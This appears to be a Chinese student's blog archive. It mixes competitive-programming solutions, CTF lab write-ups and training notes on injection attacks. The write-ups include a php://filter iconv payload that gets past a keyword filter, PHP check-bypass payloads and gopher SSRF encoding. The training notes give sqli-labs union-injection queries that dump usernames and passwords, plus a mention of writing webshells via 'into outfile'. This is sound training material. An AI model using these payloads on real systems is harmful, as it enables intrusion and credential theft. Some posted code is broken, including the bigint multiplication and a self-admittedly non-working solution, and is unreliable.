方法一

这种方法主要使用结构体去封装大整数，让大整数能像普通整型一样直接相加相乘，下面是封装的结构体

#define MAXN 50000
struct bigint{
int len,a[MAXN];//len记录位数，a记录每个数位
bigint(int x=0){//通过初始化使得这个大整数能够表示整型x，默认为0
memset(a,0,sizeof(a));
for(len=1;x;len++){
a[len]=x%10,x/=10;
}
len--;
}
int &operator[](int i){
return a[i]; //重载[]，可以直接用x[i]代表x.a[i]
}
void flatten(int L){//一口气处理1到L范围内的进位并重置长度。需要保证L不小于有效长度
//简单说就是将数组每个位置经过进位后都变成一位数
len=L;
for(int i=1;i<=len;i++){
a[i+1]+=a[i]/10;
a[i]%=10;
}
for(;!a[len];){//重置长度为有效长度
len--;
}
}
void print(){
for(int i=max(len,1);i>=1;i--){
printf("%d",a[i]);
}
}
bigint operator+(bigint a,bigint b){//表示两个bigint类相加，返回一个bigint类
bigint c;
int len=max(a.len,b.len);
for(int i=1;i<=len;i++){
c[i]+=a[i]+b[i];
}
c.flatten(len+1);//答案不可能超过len+1位，所以用len+1做进位处理
return c;
}
bigint operator*(bigint a,bigint b){
bigint c;
int len=a.len;
for(int i=1;i<=len;i++){
c[i]=a[i]*b;
}
c.flatten(len+1);//int类型最长10位，所以可以这样做一遍进位处理
}
};

封装完后，就需要主函数对接接口直接使用了

Echo战队第14次培训——密码学基础

Fri, 03 Mar 2023 00:00:00 +0800

课件下载

[重返NOIP] 数学1——NOIP2013 提高组转圈游戏

Tue, 21 Feb 2023 00:00:00 +0800

水一道纯数学推导的题，虽然网上有较多使用快速幂的方法，但个人更喜欢像下面这种数学推导的方式，所以记录一下

题目描述

n 个小伙伴（编号从 0 到 n-1 ）围坐一圈玩游戏。按照顺时针方向给 n 个位置编号，从 0 到 n-1 。最初，第 0 号小伙伴在第 0 号位置，第 1 号小伙伴在第 1 号位置，……，依此类推。游戏规则如下：每一轮第 0 号位置上的小伙伴顺时针走到第 m 号位置，第 1 号位置小伙伴走到第 m+1 号位置，……，依此类推，第 n - m 号位置上的小伙伴走到第 0 号位置，第 n - m+1 号位置上的小伙伴走到第 1 号位置，……，第 n-1 号位置上的小伙伴顺时针走到第 m-1 号位置。

现在，一共进行了 {10}^k 轮，请问 x 号小伙伴最后走到了第几号位置。

输入格式

共一行，包含四个整数 n, m, k, x ，每两个整数之间用一个空格隔开。

输出格式

一个整数，表示 {10}^k 轮后 x 号小伙伴所在的位置编号。

样例 #1

样例输入 #1

10 3 4 5

样例输出 #1

提示

对于 30\% 的数据， 0 < k < 7 ；

江苏工匠杯file_include 解题记录

Sun, 19 Feb 2023 00:00:00 +0800

解题环境依旧是攻防世界的靶场

解题思路

这道题涉及到一个我自己较少接触到的知识点，就是php的转换过滤器。其实大体思路就是用convert过滤器的不同方法来尝试出被check.php拦截的关键字，达到用特殊编码输出的目的

题目分析

进来后可以看到如下界面

首先猜测flag在flag.php中
根据经验可以很容易知道，check.php里可能含有字符串过滤
先使用下面这句常规的base64编码读取

?filename=php://filter/read=convert.base64-encode/resource=check.php

可以看到确实存在过滤的字符串，但由于check.php本身无法被查看，所以只能另寻他路

在php官网中查找到有关字符串过滤的string过滤器，可以看到有很多字符串转换的方式来读取出flag.php或是check.php中的内容，尝试官网中的第一种rot13()方法，但也同样遭到了和上面一样的拦截
所以只能把目光转向另一种过滤器，也就是转换过滤器

这种过滤器有一种特殊的方法也就是iconv

由于文中提到这种方式等同于用 iconv() 处理所有的流数据，所以点进iconv()函数的页面就能得知它的具体用处和用法

由于这里提到字符串编码，所以可以通过查询php所支持的字符串编码形式，结合暴力破解来确定可以使用哪种编码

这里就不演示burp暴力破解结果，经过测试后可行方案有多种，任选一种即可。这里我选择其中一种来构造查询语句

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=check.php

结果如下

就可以看到被过滤的字符串有哪些。现在只要将check修改为flag即可

XUJC LAB V1.0 内测

Fri, 20 Jan 2023 00:00:00 +0800

目前正在完善功能，欢迎有意向参与改进计划的联系我

首页

题目

公告

排行榜

网址：XUJC LAB

关于POST包格式问题&&php伪协议之fitler目录要求

Wed, 18 Jan 2023 00:00:00 +0800

POST包

昨天在写一道题时要求采用POST方式提交一个值（具体是哪题给忘了，没记录），但根据要求提交cookie后发现并没有返回flag，查看了WriteUp后感觉方法并没有错，但就不知道是哪里出了问题。

直到我回想起一句忘了从哪看来的话：POST包由空行来区分head和body
经过百度后，发现确实如此，并且严格来讲是\r\n\r\n作为分隔符。可以参考下面这篇博客
网络协议学习——HTTP协议POST方法的格式
这么说来，从我上面那个包来看，只有一个空行，而即便body不需要添加也必须要用一行来表示，因此这个问题算是得到了解决
为了方便大家查阅使用，这里也附上一个POST包的模板

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

可以根据自己需要来修改Content-Type、Host等属性。

php://fitler

fitler方法可以结合 file_get_content（）函数用来打开我们需要查看的文件，但通常情况下需要结合base64过滤器。当然，如果允许的话，不添加也是可以的。

这里主要是想记录一下resource后面跟的目录可以是相对也可以是绝对
这里也给大家一个博客参考一下
探索php://filter在实战当中的奇技淫巧

江苏工匠杯easyphp 解题记录

Wed, 18 Jan 2023 00:00:00 +0800

今天碰到这题，感觉有很多知识点，就决定记录一下
这里我用的是攻防世界的靶场
easyphp——攻防世界

题目分析

上来就分析php代码，那就逐行看一下，可以知道最终目的是要使key1和key2都是1
发现文末有一行Emmm...，再根据上面代码推断即可知道是第一个if判断没有进入导致的
而要进入也很简单，先来看一下代码

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

可以看到a不能为空，同时要在字符数量小于等于3的情况下大于6000000，因此容易想到利用科学计数法。
构造第一个payload

a=6e9

接着看第二个if

md5推算

if(isset($b) && '8b184b' === substr(md5($b),-6,6))

可以看到第二个if需要利用md5解码，先去看一下8b184b对应字符串。这里我们可以通过简单的Python脚本来解决这个哈希碰撞

import random
import hashlib
value = "8b184b"
while 1:
plainText = random.randint(10**11, 10**12 - 1)
plainText = str(plainText)
MD5 = hashlib.md5()
MD5.update(plainText.encode(encoding='utf-8'))
cipherText = MD5.hexdigest()
if cipherText[-6:]==value :
print("碰撞成功:")
print("密文为:"+cipherText)
print("明文为:"+plainText)
break
else:
print("碰撞中.....")

密文：842fc2485a1faa0681f78d3e098b184b
明文：792616362347

可以得到结果。但考虑到计算量比较大，所以对代码进行一些简化，只截取8b184b这部分进行判断，不做满位拓展

import hashlib
for i in range(1000000):
m2 = hashlib.md5()
m2.update(str(i).encode())
if m2.hexdigest()[-6:] == "8b184b":
print(i)
break

得到结果为53724，计算量明显缩小

SSRF之gopher协议使用与URL编码转换问题

Fri, 13 Jan 2023 00:00:00 +0800

前两天在写一道cthub上的一道SSRF题，其中题目提示到使用post请求以及一些提示

自己尝试没法写出来后，就去网上找write up
但是找出来的write up大多不尽人意，尤其是在下面几个问题的解释上十分混乱

gopher协议在提交post请求时的编码规定
为什么要对post请求进行URL编码多次
到底要编码几次

一生要强的我就决定试试能不能自己搞懂

分析

我就以下面三篇博客作为引例记录一下
CTFhub-ssrf-POST请求
 CTFHUB-SSRF-POST请求（小宇特详解）
CTFHub-技能树-SSRF POST请求
如果需要看正确解题步骤可以参考第一篇博客，这里我主要分析一下其中的正确原理
第一篇博客中认为URL编码两次即可，其中他的提交条件和理由为：

在index.php页面提交
因为gopher提交post本身需要进行URL编码，并且curl进行请求发送之前会进行URL解码，所以需要进行两次编码
浏览器为Chrome

第二篇博客中认为URL编码需要编码三次，其中他的提交条件和理由为：

在302.php页面使用BP进行提交
具体为什么需要进行三次编码的原因没有说明
浏览器为Firefox

第三篇博客中认为URL编码需要编码两次，其中他的提交条件和理由为：

在index.php页面提交
具体为什么需要进行两次编码的原因没有说明
浏览器不明

三篇博客相同之处在于都有提到换行符%0d%0a的转换，但具体是为什么而转换，除了第一篇稍微提到以外，另外两篇并没有提及。
有趣的是，第三篇的题面和前两篇似乎并不一样，第二篇在过程中并不能正常访问302.php，而最后拿到flag时根据所给截图来看，靶机也已经过期销毁。而我自己去使用他所提供的方法时，发现也是404。

为了解决这个疑惑，我还到ctfhub官方群上问了一下

解决

接下来我就从gopher协议格式、php编码自动转换两个方面来介绍一下
Gopher协议原理和限制介绍
这篇博客同样是从SSRF的角度，来介绍gopher协议，里面清楚地提到了将换行符转换成%0d%0a是gopher协议本身规定，并非像第一篇题解说的是因为“windows和linux之间的不同”。而且两次编码转换的原因也在这篇文中有提到，原因就是在curl_exce（）函数调用前就已经存在解码，而发送gopher协议需要对请求方式进行URL编码才能正常发送，所以才需要两次。更多关于gopher协议使用的具体内容可以参考一下这篇博客。
既然两次编码问题得到了解决，那么解码是在哪里发生的呢？如果单看上面这篇博客也还是不能得到这个问题的最终答案。
因此又经过的大量的查阅后，我又发现了这篇博客
http请求（GET/POST）时，url/参数编码的过程分析
答主提到了由于php在使用$_GET等接收方式储存前会按照URL规范对URL进行处理，因此我们可以理解成每在不同文件中使用$_GET等方式接收各种提交时php都会对其进行一次解码。
而为了证明这一点，我也进行了一次测试，来看看在php中是不是真的

实验

先来看一下我构造的php代码

<?php
error_reporting(0);
print_r($_REQUEST['url']);echo "<br/>";
print_r($_GET['url']);echo "<br/>";
print_r($_POST['url']);echo "<br/>";
$ch=$_GET['url'];
$r=curl_init($ch);
print_r($r);
//print_r($r);
?>

首先我模拟一个跟那道ctfhub上的题目差不多payload的gopher协议，先将原文直接在这个页面发起一个假gopher请求看一下URL从浏览器传入php的结果

可以看到显示内容确实和输入的一样，但浏览器已经进行了一次编码。接着将浏览器编码完的POST请求部分复制下来到在线编码器上再编码一次并提交

可以看到，传入一个php文件后确实只对URL进行了一次解码。接下来将index.php改为具有重定向功能，并继续构造flag.php

index.php

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

flag.php

<?php
print_r($_REQUEST['url']);
?>

因为URL地址栏不允许输入太长的内容，所以这里我就只在在线转码器中转换了这一句：Content-Type: application/x-www-form-urlencoded
结果如图

因此就能得到上面总结的结论

Echo战队第12次培训——XXE漏洞和文件包含漏洞

Wed, 11 Jan 2023 00:00:00 +0800

课件下载1
课件下载2

Echo战队第13次培训——RCE漏洞

Wed, 11 Jan 2023 00:00:00 +0800

课件下载

Echo战队第11次培训——SSRF漏洞和文件上传漏洞

Mon, 09 Jan 2023 00:00:00 +0800

课件下载1
课件下载2

Echo战队第10次培训——CSRF漏洞

Sat, 07 Jan 2023 00:00:00 +0800

课件下载

Echo战队第9次培训——XSS基础

Sat, 07 Jan 2023 00:00:00 +0800

课件下载

Echo战队第8次培训——SQL盲注+SQL文件读取+SQL高权限注入+SQLmap使用

Thu, 05 Jan 2023 00:00:00 +0800

SQL注入之文件读写

文件读写注入的原理

就是利用文件的读写权限进行注入，它可以写入一句话木马，也可以读取系统文件的敏感信息。

文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv，该选项限制了mysql导出文件的权限

secure_file_priv选项

linux
cat etc/conf
win
www/mysql / my.ini

show global variables like ‘%secure%’ 查看mysql全局变量的配置

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

2、知道网站绝对路径

Windows常见：

Linux常见：

路径获取常见方式：

报错显示，遗留文件，漏洞报错，平台配置文件等

读取文件

使用函数：load_file()

后面的路径可以是单引号，0x，char转换的字符。

注意：路径中斜杠是/不是\。

一般可以与union中做为一个字段使用，查看config.php(即mysql的密码)，apache配置…

写入文件

使用函数：Into Outfile（能写入多行，按格式输出）和 into Dumpfile（只能写入一行且没有输出格式）

outfile 后面不能接0x开头或者char转换以后的路径，只能是单引号路径

SQL注入之基础防御

魔术引号

魔术引号（Magic Quote）是一个自动将进入 PHP 脚本的数据进行转义的过程。
最好在编码时不要转义而在运行时根据需要而转义。

魔术引号：
在php.ini文件内找到

magic_quotes_gpc = On 开启
将其改为
magic_quotes_gpc = Off 关闭

内置函数

做数据类型的过滤

is_int()等

addslashes()

mysql_real_escape_string()

mysql_escape_string()

自定义关键字

str_replace()

一次有惊无险服务器崩溃维修经历

Mon, 02 Jan 2023 00:00:00 +0800

2022年12月29日晚，我在这台服务器上安装了docker，之后再面板首页更新面板

2022年12月30日中午，当我想整理服务器文件时，发现宝塔面板已经没法登上去。我照常打开了Xshell，以为是宝塔输入界面的安全地址因为自动更换了，所以输入bt 14想看看更新的安全通道地址是什么

嗯…好像一切都挺正常的，地址也没错，但还是登不上去，是什么原因呢？不管了，先重启一波面板，嗯…还是不行？那就重启服务器试试
重启完后按理说应该已经没问题才对，可还是不行。这时候当我再次查看bt 14，好家伙，给我变成这样了

而且当我登入小屋网站后，发现原本正常的小屋竟然也变成了这样

当我正为此傻眼的时候，我还不知道，整整两天的服务器维修之旅才就此展开…

首先我执行了bt 16，抱着试一试面板自动修复的心态，等来了一串完全看不懂的报错信息—

这是啥？没见过，百度看看有没有解决方案
遗憾的是，经过大半天的搜索，这一次百度并不能帮我找到答案

不过根据报错信息和经验来看，我还是能隐隐约约知道问题所在大概就是以下几点造成的：

服务器python版本不兼容
pip未知文件冲突

随后我便立马向群里发出求救

尽管如同家人般的群友提供了一些帮助后，还是没能找到答案
随即我又找到了宝塔的官方客服，可是客服也没能给我答案，让我去论坛上发帖求助

不过之后群友发来的一个博客让我知道了问题根源所在
requests库的Failed to establish a new connection

一模一样的报错！这下可算知道报错原因，但这个原因很明显就是因为宝塔本身产品设计缺陷引起的，而我也并没有找到报错文件相关的官方技术文档，所以从根源上解决问题这条路已经可以宣告失败了

无奈之下，只好想其他方法。首要任务是保住小屋的数据。根据小屋的页面来看，nginx服务器是正常的，可是为什么没法正常显示我部署的文档内容呢？直觉告诉我应该是因为当时这个nginx是我在宝塔上下载的，所以和宝塔文件多少应该有点牵连。其中很重要的一点就是，我没有在nginx.conf里找到server函数。这也就更加证实了这个猜想，这个函数应该是被放在宝塔产品本身的某个已经损坏的文件里。
由于当时我也没有在宝塔上创建FTP用户，所以使用FTP备份文件也不可能了。
时间来到第二天中午，当我再次打开Xshell，发现连bt命令都已经执行不了，而很多linux命令也都无法执行。

最后只能求助淘宝，请宝塔运维工程师帮忙修复。可是问了许多家店也都表示“修不了”然后拒绝了我的请求。

直到后来找到一家店，店家同意帮我备份数据，可是要想修复损坏的系统文件和宝塔是做不了。
好在店家想到了用Navicat帮我先备份出数据库，再用XS导出文件。前后花了一个下午才跟支离破碎的服务器建立链接保住资源。

（店铺名也给大家，帮他家做个广告嘿嘿）

而根据店家介绍，用debian做服务器系统的已经很少，更多是用Ubuntu和Centos
于是那晚修完服务器的我愤怒地在空间里发了一条说说

总结一下，希望给自己和大家一个教训，一定要定期备份自己的服务器数据，否则很有可能出现像我这种情况后服务器内容备份不出来最后造成的惨案。

[重返NOIP]模拟方法2——NOIP2002提高组自由落体

Wed, 28 Dec 2022 00:00:00 +0800

题目描述

在高为 $H$ 的天花板上有 $n$ 个小球，体积不计，位置分别为 $0,1,2,\cdots,n-1$。在地面上有一个小车（长为 $L$，高为 $K$，距原点距离为 $S_1$）。已知小球下落距离计算公式为 $d=0.5 \times g \times (t^2)$，其中 $g=10$，$t$ 为下落时间。地面上的小车以速度 $V$ 前进。

如下图：

小车与所有小球同时开始运动，当小球距小车的距离 $\le 0.0001$ (感谢 Silver_N 修正) 时，即认为小球被小车接受（小球落到地面后不能被接受）。

请你计算出小车能接受到多少个小球。

输入格式

$H,S_1,V,L,K,n$（$1 \le H,S_1,V,L,K,n \le 100000$）

输出格式

小车能接受到的小球个数。

样例 #1

样例输入 #1

5.0 9.0 5.0 2.5 1.8 5

样例输出 #1

思路

引用洛谷水友的话，就是希望你永远不要知道我是如何在信息学比赛上推物理公式的
不过不管是物理公式难度或是程序实现难度在提高组中都是签到题
这题的g给的很仁慈，因此可以直接得出车头t_min和车尾t_max时间和h、k之间的关系
通过对二者能够接住的最大值的位置和最小值位置相减，就能轻松得出个数
需要注意，最大距离不能大于总长度s1

代码

#include<stdio.h>
#include<cmath>
using namespace std;
int n;
double h,s1,v,l,k;
int main()
{
scanf("%lf %lf %lf %lf %lf %d",&h,&s1,&v,&l,&k,&n);
double t_max=sqrt(h/5);
double t_min=sqrt((h-k)/5);
int i_b=int(s1-t_min*v+l),i_e=int(s1-t_max*v);
i_b=min(i_b,n);i_e=max(i_e,0);
printf("%d",i_b-i_e);
}

XUJCOJ：caiming：2022级C++第19次作业第9题

Tue, 27 Dec 2022 00:00:00 +0800

第9题

描述
有一个整数数列，第一项是a，以后的每一项都是前一项乘以b再加c的结果，求数列第m项的后两位数字（即十位数和个位数）

输入
一个正整数n，表示有n组测试案例。

每组案例由4个正整数a、b、c、m组成（a、b、c均小于1e+7，m小于1e+9）

输出
针对每组案例，输出一个整数，表示数列第m项的后两位数字。

每组案例输出完都要换行。

样例输入
1

12 3 5 3

样例输出
28

思路

用dzt都会写的“朴实无华”方法可以通过大概40~50%的数据，但暴力方法要拿到AC必定会遇到黄色超时的阻挠
既然一般的方法又不行，那我们就再看看二般的方法
回到计算机底层对数字处理的方式，我们可以知道，当我们输入一个10进制数字，计算机虽然执行指令时还是需要执行2进制指令，具体的次数则由我们对循环的定义进行
举个例子，当我们定义一个for循环时，如果我们让他循环10次，那么计算机也就是按序循环10次，但如果我们通过一些已知的原则或是规律，就能从根源上起到“不用循环到10次”的效果
这里就需要介绍一下一种叫做“快速幂”的算法，众所周知，7的10次方可以表示为10个7相乘。这里如果我们按着这个表述去实现我们的程序，那么这个程序就需要执行10次7的相乘。但如果我们知道，7的10次方可以表示为7的平方和7的5次方相乘，那么我们的循环次数就是2+5=7次，这样我们就可以不用循环10次也能够得到正确的结果.以此类推的，我们可以尽可能想出执行次数少的方法来得到正确结果。而这一思想的宗旨就是去拼凑出“大底数小指数”的组合。
我们将这种方法和位运算结合，就可以得到以超大值m为幂的值的结果。为什么呢？如果你知道2进制与10进制的转换方式，其实很简单，当m每次右移1时，如果该位是1，那么计数器ans就乘上b的该位次序的次方。而根据int的性质，我们可以知道，这样的计算方法将计算次数压缩成小到极致的小于等于32次。
下面我们再来分析一下数学公式。

原始代数式是（…（（（a_b+c）_b+c）b+c）…b+c）
经过展开后可以得到a_b^（m-1）+c（从1到b^（m-1）的等比数列）
首先，我们可以根据上面的方法算出a_b^（m-1）的值，接着再通过等比数列的数学性质来解决后面的值，也就是1+b+b^2+b^3+…b^（m-1）=（1+b^（（m-1）/2））（1+b+b^2+b^3+…b^（（m-1）/2））.【如果m是奇数，那么就会有偶数项，所有前面m-1就要改成m-2，再在最后加个b^（m-1）】

不废话，下面上代码

代码

[Forlogin]
#include <bitset>
using namespace std;
typedef long long ll;
int MOD=10000;
ll quick(ll a,ll b)
{
ll ans=1;
a%=MOD;
while(b)
{
if(b&1) ans=ans*a%MOD;
a=a*a%MOD;
b>>=1;
}
return ans%MOD;
}
ll sum1(ll a,ll b)
{
if(b==0) return 1;
if(a==0) return 0;
if(b&1)
return ((1+quick(a,b/2+1)) * sum1(a,b/2))%MOD;
else
return ((1+quick(a,b/2+1)) * sum1(a,b/2-1) + quick(a,b/2))%MOD;
}
int main(){
int n;
scanf("%d",&n);
while (n--){
ll a,b,c,m,num;
scanf("%lld%lld%lld%lld",&a,&b,&c,&m);
if (m==1)printf("%lld\n",a%100);
else {
num=((a* quick(b,m-1))+c*(sum1(b,m-2)))%100;
printf("%lld\n",num);
}
}
return 0;
}[/Forlogin]

[重返NOIP]塞瓦维斯特定律——NOIP2017提高组小凯的疑惑&牛客竞赛得不到的爱情

Mon, 19 Dec 2022 00:00:00 +0800

先来看看牛客网的入门题

题目描述

Chranos是个数学天才。
一天，有一个可爱的小女孩追求Chranos，他知道Chranos最喜欢当且仅当总质量为K克的时候的番茄炒蛋了。她希望通过美食俘获Chranos的胃，这样就一定可以和他在一起了吧！虽然小女孩有无限数量的食材，但是数学王国的番茄和蛋非常特殊，他们的质量分别为N克和M克。为了表现一颗完整的心、表达充足的爱意，所有的食材必须被用完。N和M都是正整数且互素，制作过程中既不会凭空增加质量，也不会凭空消失质量。
Chranos不希望小女孩打扰他学数学。他发现，并不是所有番茄炒蛋都是可以被制作出来的。他想找出最大的不可以被制作出的总质量K来拒绝小女孩，这样Chranos就可以永远和数学在一起了！

输入描述:

第一行为正整数N和M(2 \leq N, M \leq 50000)(2≤N,M≤50000)。

输出描述:

输出最大的不可以被制作出的总质量K。

示例

输入
2 3
输出
1

思路

可以通过找规律得到答案，但比较繁琐，所以还是选择找相关的数学知识来解决
这里应用到塞瓦维斯特定律，具体证明则需要用到裴蜀定律

塞瓦维斯特定律：已知a,b为大于1的正整数，gcd（a,b）=1，（a,b的最大公约数=1）则使不定方程ax+by=C不存在非负整数解的最大整数（C是最大的使不定方程没有非负整数解的数。）C=a×b−a−b

（需要看证明的移步到最下方）
通过这个定律就可以很容易写出代码。不过需要注意数据范围，所以记得开long long

代码

#include<stdio.h>
#include<math.h>
int main(){
int n,m;
scanf("%d %d",&n,&m);
printf("%ld",n*m-n-m);
}

接下来我们再看一下NOIP原题

题目描述

小凯手中有两种面值的金币，两种面值均为正整数且彼此互素。每种金币小凯都有无数个。在不找零的情况下，仅凭这两种金币，有些物品他是无法准确支付的。现在小凯想知道在无法准确支付的物品中，最贵的价值是多少金币？注意：输入数据保证存在小凯无法准确支付的商品。

输入格式

两个正整数 $a$ 和 $b$，它们之间用一个空格隔开，表示小凯中金币的面值。

输出格式

一个正整数 $N$，表示不找零的情况下，小凯用手中的金币不能准确支付的最贵的物品的价值。

样例 #1

样例输入 #1

3 7

样例输出 #1

提示

【输入输出样例 1 说明】

小凯手中有面值为 $3$ 和 $7$ 的金币无数个，在不找零的前提下无法准确支付价值为 $1,2,4,5,8,11$ 的物品，其中最贵的物品价值为 $11$，比 $11$ 贵的物品都能买到，比如：

[重返NOIP]动态规划1——NOIP2002普及组过河卒

Fri, 09 Dec 2022 00:00:00 +0800

题目描述

棋盘上 $A$ 点有一个过河卒，需要走到目标 $B$ 点。卒行走的规则：可以向下、或者向右。同时在棋盘上 $C$ 点有一个对方的马，该马所在的点和所有跳跃一步可达的点称为对方马的控制点。因此称之为“马拦过河卒”。

棋盘用坐标表示，$A$ 点 $(0, 0)$、$B$ 点 $(n, m)$，同样马的位置坐标是需要给出的。

现在要求你计算出卒从 $A$ 点能够到达 $B$ 点的路径的条数，假设马的位置是固定不动的，并不是卒走一步马走一步。

输入格式

一行四个正整数，分别表示 $B$ 点坐标和马的坐标。

输出格式

一个整数，表示所有的路径条数。

样例 #1

样例输入 #1

6 6 3 3

样例输出 #1

提示

对于 $100 \%$ 的数据，$1 \le n, m \le 20$，$0 \le$ 马的坐标 $\le 20$。

【题目来源】

NOIP 2002 普及组第四题

思路

很简答，结合递归的想法，先把所有格子赋值为0，被马挡的格子标为2，只要碰到就return相应值就行

代码

#include<stdio.h>
int bx,by,mx,my;
int f(int **pan1,int bx1,int by1,int zx1,int zy1){
if(zy1+1<=by1&&zx1+1<=bx1){
if(pan1[zy1+1][zx1]==0||pan1[zy1][zx1+1]==0) return f(pan1,bx1,by1,zx1+1,zy1)+f(pan1,bx1,by1,zx1,zy1+1);
else return 0;
}else if(zy1==by1&&zx1+1<=bx1){
return f(pan1,bx1,by1,zx1,zy1+1);
}else if(zy1+1<=by1&&zx1==bx1){
return f(pan1,bx1,by1,zx1+1,zy1);
}else if(zy1==by1&&zx1==bx1){
return 1;
}else return 0;
}
int main(){
scanf("%d %d %d %d",bx,by,mx,my);
int zx=0,zy=0,pan[by+1][bx+1];
for(int i=0;i<=by;i++){
for(int j=0;j<=bx;j++){
pan[i][j]=0;
}
}
pan[my][mx]=1;
if(mx+1<=bx&&my+2<=my) pan[my+2][mx+1]=1;
if(mx-1<=bx&&my+2<=my) pan[my+2][mx-1]=1;
if(mx-2<=bx&&my+1<=my) pan[my+1][mx-2]=1;
if(mx+2<=bx&&my+1<=my) pan[my+1][mx+2]=1;
if(mx+1<=bx&&my-2<=my) pan[my-2][mx+1]=1;
if(mx-1<=bx&&my-2<=my) pan[my-2][mx-1]=1;
if(mx-2<=bx&&my-1<=my) pan[my-1][mx-2]=1;
if(mx+2<=bx&&my-1<=my) pan[my-1][mx+2]=1;
printf("%d",f(pan,bx,by,zx,zy));
}

（由于尚未搞清的原因，上述代码还无法运行，具体错误也还没发现）

[重返NOIP]模拟方法1——NOIP2003普及组乒乓球

Fri, 09 Dec 2022 00:00:00 +0800

题目背景

国际乒联现在主席沙拉拉自从上任以来就立志于推行一系列改革，以推动乒乓球运动在全球的普及。其中 $11$ 分制改革引起了很大的争议，有一部分球员因为无法适应新规则只能选择退役。华华就是其中一位，他退役之后走上了乒乓球研究工作，意图弄明白 $11$ 分制和 $21$ 分制对选手的不同影响。在开展他的研究之前，他首先需要对他多年比赛的统计数据进行一些分析，所以需要你的帮忙。

题目描述

华华通过以下方式进行分析，首先将比赛每个球的胜负列成一张表，然后分别计算在 $11$ 分制和 $21$ 分制下，双方的比赛结果（截至记录末尾）。

比如现在有这么一份记录，（其中 $\texttt W$ 表示华华获得一分，$\texttt L$ 表示华华对手获得一分）：

$\texttt{WWWWWWWWWWWWWWWWWWWWWWLW}$

在 $11$ 分制下，此时比赛的结果是华华第一局 $11$ 比 $0$ 获胜，第二局 $11$ 比 $0$ 获胜，正在进行第三局，当前比分 $1$ 比 $1$。而在 $21$ 分制下，此时比赛结果是华华第一局 $21$ 比 $0$ 获胜，正在进行第二局，比分 $2$ 比 $1$。如果一局比赛刚开始，则此时比分为 $0$ 比 $0$。直到分差大于或者等于 $2$，才一局结束。

你的程序就是要对于一系列比赛信息的输入（$\texttt{WL}$ 形式），输出正确的结果。

输入格式

每个输入文件包含若干行字符串，字符串有大写的 $\texttt W$ 、 $\texttt L$ 和 $\texttt E$ 组成。其中 $\texttt E$ 表示比赛信息结束，程序应该忽略 $\texttt E$ 之后的所有内容。

输出格式

输出由两部分组成，每部分有若干行，每一行对应一局比赛的比分（按比赛信息输入顺序）。其中第一部分是 $11$ 分制下的结果，第二部分是 $21$ 分制下的结果，两部分之间由一个空行分隔。

Echo战队第6次培训——SQL注入方法及其原理1

Sun, 04 Dec 2022 00:00:00 +0800

SQL注入之数据库概述

数据库就是一个存储数据的仓库，数据库是以一定方式存储在一起，能与多个用户共享，具有尽可能小的冗余，与应用程序彼此独立的数据集合。

关系型数据库

关系型数据库，存储的格式可以直观地反映实体间的关系，和常见的表格比较相似

关系型数据库中表与表之间有很多复杂的关联关系的

常见的关系型数据库有MySQL，Orcale，PostgreSQL , SQL Server等。

非关系型数据库

随着近些年技术方向的不断扩展，大量的NoSQL数据库如 Mon goDB，Redis出于简化数据库结构，避免冗余，影响性能的表连接。摒弃复杂分布式的目的被设计

NoSQL数据库适合追求速度和可扩展性，业务多变的场景

数据库排行：https://db-engines.com/en/ranking

数据库服务器层级关系：

服务器里面

 ：多个数据库
：多个数据表
：多个行 列 字段
： 数据

SQL语句语法回顾：

 查询当前数据库服务器所有的数据库
show databases;
选中某个数据库
use 数据库名字 test
查询当前数据库所有的表
show tables；
查询t1表所有数据
查询关键 select
* 所有
from 表名
select * from t1;
条件查询 id=2
where 条件 编程 if（条件 true）{执行}
select * from t1 where id=2；
查询id=2 pass =111
union 合并查询
2个特性：
前面查询的语句 和 后面的查询语句 结果互不干扰！
前面的查询语句的字段数量 和 后面的查询语句字段数量 要一致
* == 3
select id from t1 where id=-1 union select * from t1 where pass =111;
order by 排序
order by 字段名字 id 也可以 跟上数字 1 2 3 4 .。。。。。
猜解表的列数 知道表有几列

Echo战队第6次培训——SQL注入方法及其原理2

Sun, 04 Dec 2022 00:00:00 +0800

SQL注入之MYSQL手工注入

本章节重点在于熟悉注入流程，以及注入原理。练习靶场为sqli-labs第二关数字型注入。

sqli-labs数字型注入

在url中输入id值，执行查询sql语句。即可得到对应数据

less-2源码分析：

浏览器进行数据提交服务器：

get 提交 ： url 数据长度
速度快
用于：
post 提交 ： 服务器 安全性 数据量

注入流程

注入语句

尝试手工注入：
SQL注入：
1.判断有无注入点 and 1 = 1； true
随便输入内容 == 报错 注入
== 没有注入
2.猜解列名数量 order by %20 空格
字段 4个
3.报错，判断回显点 union
4.信息收集
数据库版本 version()
高版本：5.0
系统库： information 。。。
数据库名称：database（）
低版本：5.0
5.使用对应SQL进行注入
数据库库名：security
. 下一级
information_schema.tables 查找表名
table_name
查询security库下面 所有的表名
database（）
= 前后 连到一起
union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=database()
表： users
如何查询表里面有那些字段？
user 字符 转行 16进制
union select 1,group_concat(column_name),3 from information_schema.columns
where table_name='users'
username password 字段数据
select username,password from users
union select 1,2,(select group_concat(username,:,password)from users)

Echo战队第7次培训——SQL注入方法及其原理3

Sun, 04 Dec 2022 00:00:00 +0800

SQL注入之数据提交方式

GET方式注入

get注入方式比较常见，主要是通过url中传输数据到后台，带入到数据库中去执行，可利用联合注入方式直接注入

POST方式注入

post提交方式主要适用于表单的提交，用于登录框的注入

方法：利用BurpSuite抓包进行重放修改内容进行，和get差别是需要借助抓包工具进行测试，返回结果主要为代码，也可转化为网页显示

Request方式注入

概念：超全局变量 PHP中的许多预定义变量都是“超全局的”，这意味着它们在一个脚本的全部作用域中都可以用，这些超全局变量是：
$_REQUEST（获取GET/POST/COOKIE）COOKIE在新版本已经无法获取了
$_POST（获取POST传参）
$_GET（获取GET传参）
$_COOKIE（获取COOKIE传参）
$_SERVER（包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组）

